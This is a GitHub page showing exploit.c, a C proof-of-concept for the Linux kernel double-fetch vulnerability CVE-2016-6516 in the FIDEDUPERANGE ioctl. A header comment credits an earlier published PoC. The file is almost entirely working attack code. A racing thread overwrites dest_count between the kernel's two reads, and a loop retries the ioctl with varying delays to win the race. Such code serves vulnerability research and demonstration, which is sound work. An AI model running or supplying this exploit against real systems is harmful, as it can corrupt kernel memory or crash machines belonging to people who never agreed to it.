forked from wpengfei/CVE-2016-6516-exploit
-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.c
executable file
·153 lines (112 loc) · 3.63 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
/*
* This is an exploit used to demonstrate how to exploit the double-fetch vulnerability CVE-2016-6516
* This exploit is modified from the PoC written by Scott Bauer
* (http://www.openwall.com/lists/oss-security/2016/07/31/6), which is now optimized and annotated.
*
* Pengfei Wang ([email protected]) 2017-12-6
*/
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <pthread.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
static const char* file1 = "/home/wpf/Desktop/f1.txt";
static const char* file2 = "/home/wpf/Desktop/f2.txt";
typedef int64_t __s64;
typedef int32_t __s32;
typedef uint64_t __u64;
typedef uint16_t __u16;
typedef uint32_t __u32;
struct file_dedupe_range_info {
__s64 dest_fd; /* in - destination file descriptor */
__u64 dest_offset; /* in - start of destination section */
__u64 bytes_deduped; /* out - num of bytes that successfully deduped */
__s32 status; /* out - status code when finished */
__u32 reserved; /* must be zero */
};
struct file_dedupe_range {
__u64 src_offset; /* in - start of source section */
__u64 src_length; /* in - length of source section */
__u16 dest_count; /* in - num of destination files */
__u16 reserved1; /* must be zero */
__u32 reserved2; /* must be zero */
struct file_dedupe_range_info info[0];
};
#define FIDEDUPERANGE _IOWR(0x94, 54, struct file_dedupe_range)
static unsigned int dest_num = 8;
static unsigned int try_num = 1000;
static unsigned int evil_value = 8;
int trigger_ready = 0; /* flags used to sync the two threads */
int flipping_ready = 0;
int finish = 0;
unsigned int interval = 0;
void *flipping_thread(void *addr)
{
struct file_dedupe_range *range = addr;
while(!finish) {
flipping_ready = 1;/* tell the trigger thread that the flipping thread is ready */
while(!trigger_ready) {}/* waiting for the trigger thread ready */
usleep(interval);
range->dest_count = evil_value;
interval++;
if(interval > 10000)
interval = 1;
flipping_ready = 0;
}
}
int main(int argc, char **argv)
{
//int arg1 = atoi(argv[1]);
int fd1,fd2,i,ret=0;
struct file_dedupe_range *range;
pthread_t t1;
fd1 = open(file1, O_RDWR | O_CREAT);
if (fd1 < 0) {
printf("Open %s error %s\n", file1,
strerror(errno));
return EXIT_FAILURE;
}
fd2 = open(file2, O_RDWR | O_CREAT);
if (fd2 < 0) {
printf("Open %s error %s\n", file2,
strerror(errno));
return EXIT_FAILURE;
}
range = malloc(sizeof(*range) + sizeof(struct file_dedupe_range_info)*dest_num);
memset(range, 0, sizeof(*range) + sizeof(struct file_dedupe_range_info)*dest_num);
if (!range) {
printf("Alloc mem error\n");
close(fd1);
return EXIT_FAILURE;
}
range->dest_count = dest_num;
range->src_offset = 0;
range->src_length = 65535+4096+4096;
for (i = 0; i < dest_num; i++)
range->info[i].dest_fd = fd2;
pthread_create(&t1, NULL, flipping_thread, range);
/* Try multiple runs with different intervals to make sure the flipping
occurs between the two fetches */
for (i = 0; i < try_num; i++) {
while(!flipping_ready){} /* Wait for the flipping thread ready */
trigger_ready = 1; /* Tell the flipping thread that the trigger thread is ready*/
printf("Try for the %d time\n", i);
ret = ioctl(fd1, FIDEDUPERANGE, range);/* Trigger the syscall*/
if (ret < 0)
printf("Execute ioctl failed.\n");
/* reset the values for the next try */
trigger_ready = 0;
range->dest_count = dest_num;
}
finish = 1;
pthread_join(t1, NULL);
close(fd1);
close(fd2);
return 0;
}